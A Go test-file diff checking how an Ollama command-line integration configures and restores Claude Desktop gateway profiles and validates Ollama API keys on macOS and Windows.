+			if !strings.Contains(err.Error(), "ollama launch claude-desktop --restore") {
+				t.Fatalf("expected restore guidance, got %v", err)
+			}
+		})
+	}
+}
+
+func TestLaunchIntegration_ClaudeDesktopRestoreStillWorks(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "darwin")
+	withClaudeDesktopProcessHooks(t, func() bool { return false }, func() error { return nil }, func() error { return nil })
+
+	if err := os.MkdirAll(filepath.Join(tmpDir, "Applications", "Claude.app"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.meta, []byte(`{"appliedId":"`+claudeDesktopProfileID+`","entries":[{"id":"`+claudeDesktopProfileID+`","name":"Ollama"}]}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.profile, []byte(`{"disableDeploymentModeChooser":true,"inferenceGatewayApiKey":"keep","inferenceProvider":"gateway","inferenceGatewayBaseUrl":"https://ollama.com","inferenceGatewayAuthScheme":"bearer"}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	stderr := captureStderr(t, func() {
+		err = LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "claude-desktop", Restore: true})
+	})
+	if err != nil {
+		t.Fatalf("LaunchIntegration restore returned error: %v", err)
+	}
+	if !strings.Contains(stderr, claudeDesktopRestoredMessage) {
+		t.Fatalf("expected restore success message, got stderr: %q", stderr)
+	}
+	desktopConfig := claudeDesktopReadJSON(t, paths.desktopConfig)
+	if desktopConfig["deploymentMode"] != "1p" {
+		t.Fatalf("deploymentMode = %v, want 1p", desktopConfig["deploymentMode"])
+	}
+}
+
+func TestClaudeDesktopConfigureWritesOllamaCloudProfile(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "darwin")
+	t.Setenv("OLLAMA_API_KEY", "test-api-key")
+
+	var validatedKey string
+	withClaudeDesktopValidation(t, func(_ context.Context, key string) error {
+		validatedKey = key
+		return nil
+	})
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.MkdirAll(filepath.Dir(paths.desktopConfig), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.MkdirAll(filepath.Dir(paths.meta), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.desktopConfig, []byte(`{"existing":true}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.meta, []byte(`{"entries":[{"id":"custom","name":"Custom"}]}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := (&ClaudeDesktop{}).ConfigureAutodiscovery(); err != nil {
+		t.Fatalf("Configure returned error: %v", err)
+	}
+	if validatedKey != "test-api-key" {
+		t.Fatalf("validated key = %q, want test API key", validatedKey)
+	}
+
+	desktopConfig := claudeDesktopReadJSON(t, paths.desktopConfig)
+	if desktopConfig["existing"] != true {
+		t.Fatalf("existing desktop config key was not preserved: %v", desktopConfig)
+	}
+	if desktopConfig["deploymentMode"] != "3p" {
+		t.Fatalf("deploymentMode = %v, want 3p", desktopConfig["deploymentMode"])
+	}
+	normalConfig := claudeDesktopReadJSON(t, paths.normalConfig)
+	if normalConfig["deploymentMode"] != "3p" {
+		t.Fatalf("normal deploymentMode = %v, want 3p", normalConfig["deploymentMode"])
+	}
+
+	meta := claudeDesktopReadJSON(t, paths.meta)
+	if meta["appliedId"] != claudeDesktopProfileID {
+		t.Fatalf("appliedId = %v, want %s", meta["appliedId"], claudeDesktopProfileID)
+	}
+	entries, _ := meta["entries"].([]any)
+	if len(entries) != 2 {
+		t.Fatalf("entries len = %d, want 2: %v", len(entries), entries)
+	}
+
+	profile := claudeDesktopReadJSON(t, paths.profile)
+	if profile["inferenceProvider"] != "gateway" {
+		t.Fatalf("inferenceProvider = %v, want gateway", profile["inferenceProvider"])
+	}
+	if profile["inferenceGatewayBaseUrl"] != claudeDesktopGatewayBaseURL {
+		t.Fatalf("base URL = %v, want %s", profile["inferenceGatewayBaseUrl"], claudeDesktopGatewayBaseURL)
+	}
+	if profile["inferenceGatewayApiKey"] != "test-api-key" {
+		t.Fatal("expected configured API key to be written")
+	}
+	if profile["inferenceGatewayAuthScheme"] != "bearer" {
+		t.Fatalf("auth scheme = %v, want bearer", profile["inferenceGatewayAuthScheme"])
+	}
+	if profile["disableDeploymentModeChooser"] != true {
+		t.Fatalf("disableDeploymentModeChooser = %v, want true", profile["disableDeploymentModeChooser"])
+	}
+	if _, ok := profile["inferenceModels"]; ok {
+		t.Fatalf("inferenceModels should be omitted so Claude can discover models, got %v", profile["inferenceModels"])
+	}
+}
+
+func TestClaudeDesktopConfigureAutodiscoveryRemovesExistingModelCatalog(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "darwin")
+	t.Setenv("OLLAMA_API_KEY", "test-api-key")
+	withClaudeDesktopValidation(t, func(context.Context, string) error { return nil })
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.profile, []byte(`{"inferenceModels":["qwen3.5"],"inferenceGatewayApiKey":"old"}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := (&ClaudeDesktop{}).ConfigureAutodiscovery(); err != nil {
+		t.Fatalf("ConfigureAutodiscovery returned error: %v", err)
+	}
+
+	profile := claudeDesktopReadJSON(t, paths.profile)
+	if _, ok := profile["inferenceModels"]; ok {
+		t.Fatalf("inferenceModels should be removed, got %v", profile["inferenceModels"])
+	}
+	if profile["inferenceGatewayApiKey"] != "test-api-key" {
+		t.Fatal("expected env API key to replace the old key")
+	}
+}
+
+func TestClaudeDesktopWindowsConfigPathsUseLocalAppData(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "windows")
+	t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if want := filepath.Join(tmpDir, "LocalAppData", "Claude-3p", "claude_desktop_config.json"); paths.desktopConfig != want {
+		t.Fatalf("desktop config = %q, want %q", paths.desktopConfig, want)
+	}
+	if want := filepath.Join(tmpDir, "LocalAppData", "Claude", "claude_desktop_config.json"); paths.normalConfig != want {
+		t.Fatalf("normal config = %q, want %q", paths.normalConfig, want)
+	}
+}
+
+func TestClaudeDesktopWindowsConfigPathsFallbackToNestProfile(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "windows")
+	local := filepath.Join(tmpDir, "LocalAppData")
+	t.Setenv("LOCALAPPDATA", local)
+	if err := os.MkdirAll(filepath.Join(local, "Claude Nest-3p"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if want := filepath.Join(local, "Claude Nest-3p", "claude_desktop_config.json"); paths.desktopConfig != want {
+		t.Fatalf("desktop config = %q, want %q", paths.desktopConfig, want)
+	}
+}
+
+func TestClaudeDesktopAutodiscoveryConfiguredOnWindows(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "windows")
+	t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
+	t.Setenv("OLLAMA_API_KEY", "test-api-key")
+	withClaudeDesktopValidation(t, func(context.Context, string) error { return nil })
+
+	c := &ClaudeDesktop{}
+	if err := c.ConfigureAutodiscovery(); err != nil {
+		t.Fatalf("Configure returned error: %v", err)
+	}
+	if !c.AutodiscoveryConfigured() {
+		t.Fatal("expected Claude Desktop autodiscovery config to be detected on Windows")
+	}
+}
+
+func TestClaudeDesktopConfigureAutodiscoveryTouchesAllWindowsProfileCandidates(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "windows")
+	local := filepath.Join(tmpDir, "LocalAppData")
+	t.Setenv("LOCALAPPDATA", local)
+	t.Setenv("OLLAMA_API_KEY", "test-api-key")
+	withClaudeDesktopValidation(t, func(context.Context, string) error { return nil })
+
+	targets, err := claudeDesktopTargetPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(targets.normalConfigs) != 2 {
+		t.Fatalf("normal config target count = %d, want 2", len(targets.normalConfigs))
+	}
+	if len(targets.thirdPartyProfiles) != 2 {
+		t.Fatalf("third-party target count = %d, want 2", len(targets.thirdPartyProfiles))
+	}
+
+	c := &ClaudeDesktop{}
+	if err := c.ConfigureAutodiscovery(); err != nil {
+		t.Fatalf("ConfigureAutodiscovery returned error: %v", err)
+	}
+
+	for _, path := range targets.normalConfigs {
+		cfg := claudeDesktopReadJSON(t, path)
+		if cfg["deploymentMode"] != "3p" {
+			t.Fatalf("%s deploymentMode = %v, want 3p", path, cfg["deploymentMode"])
+		}
+	}
+	for _, target := range targets.thirdPartyProfiles {
+		cfg := claudeDesktopReadJSON(t, target.desktopConfig)
+		if cfg["deploymentMode"] != "3p" {
+			t.Fatalf("%s deploymentMode = %v, want 3p", target.desktopConfig, cfg["deploymentMode"])
+		}
+		meta := claudeDesktopReadJSON(t, target.meta)
+		if meta["appliedId"] != claudeDesktopProfileID {
+			t.Fatalf("%s appliedId = %v, want %s", target.meta, meta["appliedId"], claudeDesktopProfileID)
+		}
+		profile := claudeDesktopReadJSON(t, target.profile)
+		if profile["inferenceProvider"] != "gateway" {
+			t.Fatalf("%s inferenceProvider = %v, want gateway", target.profile, profile["inferenceProvider"])
+		}
+		if profile["inferenceGatewayBaseUrl"] != claudeDesktopGatewayBaseURL {
+			t.Fatalf("%s base URL = %v, want %s", target.profile, profile["inferenceGatewayBaseUrl"], claudeDesktopGatewayBaseURL)
+		}
+		if profile["inferenceGatewayApiKey"] != "test-api-key" {
+			t.Fatalf("%s should contain the configured API key", target.profile)
+		}
+		if _, ok := profile["inferenceModels"]; ok {
+			t.Fatalf("%s inferenceModels should be omitted, got %v", target.profile, profile["inferenceModels"])
+		}
+	}
+	if !c.AutodiscoveryConfigured() {
+		t.Fatal("expected all Windows profile candidates to be considered configured")
+	}
+
+	if err := writeClaudeDesktopDeploymentMode(targets.thirdPartyProfiles[1].desktopConfig, "1p"); err != nil {
+		t.Fatal(err)
+	}
+	if c.AutodiscoveryConfigured() {
+		t.Fatal("expected a stale Windows candidate to force reconfiguration")
+	}
+}
+
+func TestClaudeDesktopInstalledOnWindowsRecognizesLocalProfileDir(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "windows")
+	local := filepath.Join(tmpDir, "LocalAppData")
+	t.Setenv("LOCALAPPDATA", local)
+	withClaudeDesktopProcessHooks(t, func() bool { return false }, func() error { return nil }, func() error { return nil })
+	if err := os.MkdirAll(filepath.Join(local, "Claude-3p"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	if !claudeDesktopInstalled() {
+		t.Fatal("expected Claude Desktop to be installed when the Windows profile directory exists")
+	}
+}
+
+func TestClaudeDesktopWindowsAppPathFindsAnthropicClaudeInstall(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "windows")
+	local := filepath.Join(tmpDir, "LocalAppData")
+	t.Setenv("LOCALAPPDATA", local)
+	want := filepath.Join(local, "AnthropicClaude", "app-1.2.3", "Claude.exe")
+	if err := os.MkdirAll(filepath.Dir(want), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(want, []byte(""), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	if got := claudeDesktopAppPath(); got != want {
+		t.Fatalf("claudeDesktopAppPath() = %q, want %q", got, want)
+	}
+}
+
+func TestWaitForClaudeDesktopExitUsesRunningHook(t *testing.T) {
+	withClaudeDesktopPlatform(t, "windows")
+	runningChecks := 0
+	withClaudeDesktopProcessHooks(t,
+		func() bool {
+			runningChecks++
+			return runningChecks == 1
+		},
+		func() error { return nil },
+		func() error { return nil },
+	)
+
+	if err := waitForClaudeDesktopExit(time.Second); err != nil {
+		t.Fatalf("waitForClaudeDesktopExit returned error: %v", err)
+	}
+	if runningChecks < 2 {
+		t.Fatalf("expected running hook to be checked until the visible window exits, got %d checks", runningChecks)
+	}
+}
+
+func TestClaudeDesktopWindowsRestoreRestartUsesCapturedDesktopPath(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "windows")
+	t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
+	restoreConfirm := withLaunchConfirmPolicy(launchConfirmPolicy{yes: true})
+	defer restoreConfirm()
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.meta, []byte(`{"appliedId":"`+claudeDesktopProfileID+`","entries":[{"id":"`+claudeDesktopProfileID+`","name":"Ollama"}]}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.profile, []byte(`{"disableDeploymentModeChooser":true,"inferenceGatewayApiKey":"keep"}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	desktopPath := `C:\Users\parth\AppData\Local\AnthropicClaude\app-1.2.3\Claude.exe`
+	running := true
+	var openedPath string
+	withClaudeDesktopProcessHooks(t,
+		func() bool { return running },
+		func() error {
+			running = false
+			return nil
+		},
+		func() error {
+			t.Fatal("expected restart to open the captured Desktop executable path, not the generic launcher")
+			return nil
+		},
+	)
+	claudeDesktopRunningAppPath = func() string { return desktopPath }
+	claudeDesktopOpenAppPath = func(path string) error {
+		openedPath = path
+		return nil
+	}
+
+	if err := (&ClaudeDesktop{}).Restore(); err != nil {
+		t.Fatalf("Restore returned error: %v", err)
+	}
+	if openedPath != desktopPath {
+		t.Fatalf("opened path = %q, want %q", openedPath, desktopPath)
+	}
+}
+
+func TestClaudeDesktopWindowsOpenDoesNotFallBackToClaudeCommand(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "windows")
+	t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
+
+	oldRunningPath := claudeDesktopRunningAppPath
+	claudeDesktopRunningAppPath = func() string { return "" }
+	t.Cleanup(func() { claudeDesktopRunningAppPath = oldRunningPath })
+
+	err := defaultClaudeDesktopOpenApp()
+	if err == nil || !strings.Contains(err.Error(), "Claude Desktop executable was not found") {
+		t.Fatalf("defaultClaudeDesktopOpenApp error = %v, want executable-not-found error", err)
+	}
+}
+
+func TestClaudeDesktopConfigureStopsBeforeWriteWhenKeyValidationFails(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "darwin")
+	t.Setenv("OLLAMA_API_KEY", "bad-key")
+	withClaudeDesktopValidation(t, func(context.Context, string) error {
+		return errors.New("invalid key")
+	})
+
+	err := (&ClaudeDesktop{}).ConfigureAutodiscovery()
+	if err == nil || !strings.Contains(err.Error(), "invalid key") {
+		t.Fatalf("Configure error = %v, want invalid key", err)
+	}
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if _, err := os.Stat(paths.desktopConfig); !errors.Is(err, os.ErrNotExist) {
+		t.Fatalf("desktop config should not be written after validation failure, stat err = %v", err)
+	}
+}
+
+func TestValidateClaudeDesktopAPIKeyUsesClaudeModelsRoute(t *testing.T) {
+	oldClient := claudeDesktopHTTPClient
+	var gotPath, gotAuth string
+	claudeDesktopHTTPClient = &http.Client{Transport: roundTripFunc(func(req *http.Request) (*http.Response, error) {
+		gotPath = req.URL.Path
+		gotAuth = req.Header.Get("Authorization")
+		return &http.Response{
+			StatusCode: http.StatusOK,
+			Body:       io.NopCloser(strings.NewReader(`{"data":[]}`)),
+			Header:     make(http.Header),
+		}, nil
+	})}
+	t.Cleanup(func() {
+		claudeDesktopHTTPClient = oldClient
+	})
+
+	if err := validateClaudeDesktopAPIKey(context.Background(), "test-key"); err != nil {
+		t.Fatalf("validateClaudeDesktopAPIKey returned error: %v", err)
+	}
+	if gotPath != "/v1/models" {
+		t.Fatalf("validation path = %q, want /v1/models", gotPath)
+	}
+	if gotAuth != "Bearer test-key" {
+		t.Fatalf("Authorization header = %q, want bearer key", gotAuth)
+	}
+}
+
+func TestValidateClaudeDesktopAPIKeyHidesInvalidHeaderDetails(t *testing.T) {
+	err := validateClaudeDesktopAPIKey(context.Background(), "bad\nkey")
+	if err == nil {
+		t.Fatal("expected validation error for key with newline")
+	}
+	if !strings.Contains(err.Error(), "could not verify Ollama API key") {
+		t.Fatalf("validation error = %v, want friendly verification message", err)
+	}
+	if strings.Contains(err.Error(), "invalid header") || strings.Contains(err.Error(), "net/http") {
+		t.Fatalf("validation error should not expose transport internals: %v", err)
+	}
+	if !strings.Contains(err.Error(), "https://ollama.com/settings/keys") {
+		t.Fatalf("validation error should include settings link: %v", err)
+	}
+}
+
+func TestClaudeDesktopConfigureRequiresAPIKey(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "darwin")
+	t.Setenv("OLLAMA_API_KEY", "")
+	withClaudeDesktopValidation(t, func(context.Context, string) error {
+		t.Fatal("validation should not run without an API key")
+		return nil
+	})
+
+	err := (&ClaudeDesktop{}).ConfigureAutodiscovery()
+	if err == nil || !strings.Contains(err.Error(), "OLLAMA_API_KEY is required") {
+		t.Fatalf("Configure error = %v, want missing key guidance", err)
+	}
+}
+
+func TestClaudeDesktopAPIKeyPromptIncludesSettingsLink(t *testing.T) {
+	prompt := claudeDesktopAPIKeyPrompt()
+	if !strings.Contains(prompt, "Enter Ollama API key") {
+		t.Fatalf("prompt should ask for the API key, got %q", prompt)
+	}
+	if !strings.Contains(prompt, "https://ollama.com/settings/keys") {
+		t.Fatalf("prompt should include API key settings link, got %q", prompt)
+	}
+}
+
+func TestClaudeDesktopConfigureReusesExistingAPIKey(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "darwin")
+	t.Setenv("OLLAMA_API_KEY", "")
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.profile, []byte(`{"inferenceGatewayApiKey":"existing-key"}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	var validatedKey string
+	withClaudeDesktopValidation(t, func(_ context.Context, key string) error {
+		validatedKey = key
+		return nil
+	})
+
+	if err := (&ClaudeDesktop{}).ConfigureAutodiscovery(); err != nil {
+		t.Fatalf("ConfigureAutodiscovery returned error: %v", err)
+	}
+	if validatedKey != "existing-key" {
+		t.Fatalf("validated key = %q, want existing-key", validatedKey)
+	}
+}
+
+func TestClaudeDesktopConfigureReplacesInvalidExistingAPIKey(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "darwin")
+	withInteractiveSession(t, true)
+	t.Setenv("OLLAMA_API_KEY", "")
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.profile, []byte(`{"inferenceGatewayApiKey":"stale-key"}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	var validated []string
+	withClaudeDesktopValidation(t, func(_ context.Context, key string) error {
+		validated = append(validated, key)
+		if key == "stale-key" {
+			return errors.New("invalid key")
+		}
+		return nil
+	})
+	withClaudeDesktopPrompt(t, func() (string, error) {
+		return "replacement-key", nil
+	})
+
+	if err := (&ClaudeDesktop{}).ConfigureAutodiscovery(); err != nil {
+		t.Fatalf("ConfigureAutodiscovery returned error: %v", err)
+	}
+	if diff := compareStrings(validated, []string{"stale-key", "replacement-key"}); diff != "" {
+		t.Fatalf("validated keys mismatch: %s", diff)
+	}
+	profile := claudeDesktopReadJSON(t, paths.profile)
+	if profile["inferenceGatewayApiKey"] != "replacement-key" {
+		t.Fatalf("configured key = %v, want replacement-key", profile["inferenceGatewayApiKey"])
+	}
+}
+
+func TestClaudeDesktopConfigureReusesExistingAPIKeyFromAnyWindowsProfile(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "windows")
+	local := filepath.Join(tmpDir, "LocalAppData")
+	t.Setenv("LOCALAPPDATA", local)
+	t.Setenv("OLLAMA_API_KEY", "")
+
+	targets, err := claudeDesktopTargetPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	fallbackProfile := targets.thirdPartyProfiles[1].profile
+	if err := os.MkdirAll(filepath.Dir(fallbackProfile), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(fallbackProfile, []byte(`{"inferenceGatewayApiKey":"fallback-key"}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	var validatedKey string
+	withClaudeDesktopValidation(t, func(_ context.Context, key string) error {
+		validatedKey = key
+		return nil
+	})
+
+	if err := (&ClaudeDesktop{}).ConfigureAutodiscovery(); err != nil {
+		t.Fatalf("ConfigureAutodiscovery returned error: %v", err)
+	}
+	if validatedKey != "fallback-key" {
+		t.Fatalf("validated key = %q, want fallback-key", validatedKey)
+	}
+	for _, target := range targets.thirdPartyProfiles {
+		profile := claudeDesktopReadJSON(t, target.profile)
+		if profile["inferenceGatewayApiKey"] != "fallback-key" {
+			t.Fatalf("%s should reuse fallback key, got %v", target.profile, profile["inferenceGatewayApiKey"])
+		}
+	}
+}
+
+func TestClaudeDesktopAutodiscoveryConfiguredRequiresAppliedOllamaProfile(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "darwin")
+	t.Setenv("OLLAMA_API_KEY", "test-api-key")
+	withClaudeDesktopValidation(t, func(context.Context, string) error { return nil })
+
+	c := &ClaudeDesktop{}
+	if err := c.ConfigureAutodiscovery(); err != nil {
+		t.Fatalf("Configure returned error: %v", err)
+	}
+	if !c.AutodiscoveryConfigured() {
+		t.Fatal("expected Claude Desktop autodiscovery config to be detected")
+	}
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.meta, []byte(`{"appliedId":"custom"}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if c.AutodiscoveryConfigured() {
+		t.Fatal("expected another applied profile to hide Claude Desktop autodiscovery config")
+	}
+}
+
+func TestClaudeDesktopAutodiscoveryConfiguredRequiresAPIKey(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "darwin")
+	t.Setenv("OLLAMA_API_KEY", "test-api-key")
+	withClaudeDesktopValidation(t, func(context.Context, string) error { return nil })
+
+	c := &ClaudeDesktop{}
+	if err := c.ConfigureAutodiscovery(); err != nil {
+		t.Fatalf("Configure returned error: %v", err)
+	}
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	profile := claudeDesktopReadJSON(t, paths.profile)
+	delete(profile, "inferenceGatewayApiKey")
+	data, err := json.Marshal(profile)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.profile, data, 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if c.AutodiscoveryConfigured() {
+		t.Fatal("expected missing gateway API key to force Claude Desktop reconfiguration")
+	}
+}
+
+func TestClaudeDesktopRestoreSwitchesBackToFirstPartyMode(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "darwin")
+	withClaudeDesktopProcessHooks(t, func() bool { return false }, func() error { return nil }, func() error { return nil })
+
+	paths, err := claudeDesktopConfigPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.meta, []byte(`{"appliedId":"`+claudeDesktopProfileID+`","entries":[{"id":"`+claudeDesktopProfileID+`","name":"Ollama"}]}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(paths.profile, []byte(`{"disableDeploymentModeChooser":true,"inferenceGatewayApiKey":"keep","inferenceProvider":"gateway","inferenceGatewayBaseUrl":"https://ollama.com","inferenceGatewayAuthScheme":"bearer","inferenceModels":["legacy"]}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := (&ClaudeDesktop{}).Restore(); err != nil {
+		t.Fatalf("Restore returned error: %v", err)
+	}
+
+	desktopConfig := claudeDesktopReadJSON(t, paths.desktopConfig)
+	if desktopConfig["deploymentMode"] != "1p" {
+		t.Fatalf("deploymentMode = %v, want 1p", desktopConfig["deploymentMode"])
+	}
+	normalConfig := claudeDesktopReadJSON(t, paths.normalConfig)
+	if normalConfig["deploymentMode"] != "1p" {
+		t.Fatalf("normal deploymentMode = %v, want 1p", normalConfig["deploymentMode"])
+	}
+	profile := claudeDesktopReadJSON(t, paths.profile)
+	if profile["disableDeploymentModeChooser"] != false {
+		t.Fatalf("disableDeploymentModeChooser = %v, want false", profile["disableDeploymentModeChooser"])
+	}
+	if profile["inferenceGatewayApiKey"] != "keep" {
+		t.Fatal("restore should leave existing Ollama profile credentials in place")
+	}
+	for _, key := range []string{"inferenceProvider", "inferenceGatewayBaseUrl", "inferenceGatewayAuthScheme", "inferenceModels"} {
+		if _, ok := profile[key]; ok {
+			t.Fatalf("restore should clear stale %s from the Ollama profile: %v", key, profile)
+		}
+	}
+	meta := claudeDesktopReadJSON(t, paths.meta)
+	if _, ok := meta["appliedId"]; ok {
+		t.Fatalf("restore should clear the applied Ollama third-party profile: %v", meta)
+	}
+	if (&ClaudeDesktop{}).AutodiscoveryConfigured() {
+		t.Fatal("restore should leave Claude Desktop autodiscovery unconfigured")
+	}
+}
+
+func TestClaudeDesktopRestoreTouchesAllWindowsProfileCandidates(t *testing.T) {
+	tmpDir := t.TempDir()
+	setTestHome(t, tmpDir)
+	withClaudeDesktopPlatform(t, "windows")
+	local := filepath.Join(tmpDir, "LocalAppData")
+	t.Setenv("LOCALAPPDATA", local)
+	withClaudeDesktopProcessHooks(t, func() bool { return false }, func() error { return nil }, func() error { return nil })
+
+	targets, err := claudeDesktopTargetPaths()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(targets.normalConfigs) != 2 {
+		t.Fatalf("normal config target count = %d, want 2", len(targets.normalConfigs))
+	}
+	if len(targets.thirdPartyProfiles) != 2 {
+		t.Fatalf("third-party target count = %d, want 2", len(targets.thirdPartyProfiles))
+	}
+	for _, target := range targets.thirdPartyProfiles {
+		if err := os.MkdirAll(filepath.Dir(target.profile), 0o755); err != nil {
+			t.Fatal(err)
+		}
+		if err := os.WriteFile(target.meta, []byte(`{"appliedId":"`+claudeDesktopProfileID+`","entries":[{"id":"`+claudeDesktopProfileID+`","name":"Ollama"}]}`), 0o644); err != nil {
+			t.Fatal(err)
+		}
+		if err := os.WriteFile(target.profile, []byte(`{"disableDeploymentModeChooser":true,"inferenceGatewayApiKey":"keep","inferenceProvider":"gateway","inferenceGatewayBaseUrl":"https://ollama.com","inferenceGatewayAuthScheme":"bearer","inferenceModels":["legacy"]}`), 0o644); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	if err := (&ClaudeDesktop{}).Restore(); err != nil {
+		t.Fatalf("Restore returned error: %v", err)
+	}
+
+	for _, path := range targets.normalConfigs {
+		cfg := claudeDesktopReadJSON(t, path)
+		if cfg["deploymentMode"] != "1p" {
+			t.Fatalf("%s deploymentMode = %v, want 1p", path, cfg["deploymentMode"])
+		}
+	}
+	for _, target := range targets.thirdPartyProfiles {
+		cfg := claudeDesktopReadJSON(t, target.desktopConfig)
+		if cfg["deploymentMode"] != "1p" {
+			t.Fatalf("%s deploymentMode = %v, want 1p", target.desktopConfig, cfg["deploymentMode"])
+		}
+		meta := claudeDesktopReadJSON(t, target.meta)
+		if _, ok := meta["appliedId"]; ok {
+			t.Fatalf("%s should not keep the Ollama applied profile: %v", target.meta, meta)
+		}
+		profile := claudeDesktopReadJSON(t, target.profile)
+		if profile["disableDeploymentModeChooser"] != false {
+			t.Fatalf("%s disableDeploymentModeChooser = %v, want false", target.profile, profile["disableDeploymentModeChooser"])
+		}
+		if profile["inferenceGatewayApiKey"] != "keep" {
+			t.Fatalf("%s should preserve gateway API key", target.profile)
+		}
+		for _, key := range []string{"inferenceProvider", "inferenceGatewayBaseUrl", "inferenceGatewayAuthScheme", "inferenceModels"} {
+			if _, ok := profile[key]; ok {
+				t.Fatalf("%s should clear stale %s: %v", target.profile, key, profile)
+			}
+		}
+	}
+}
+
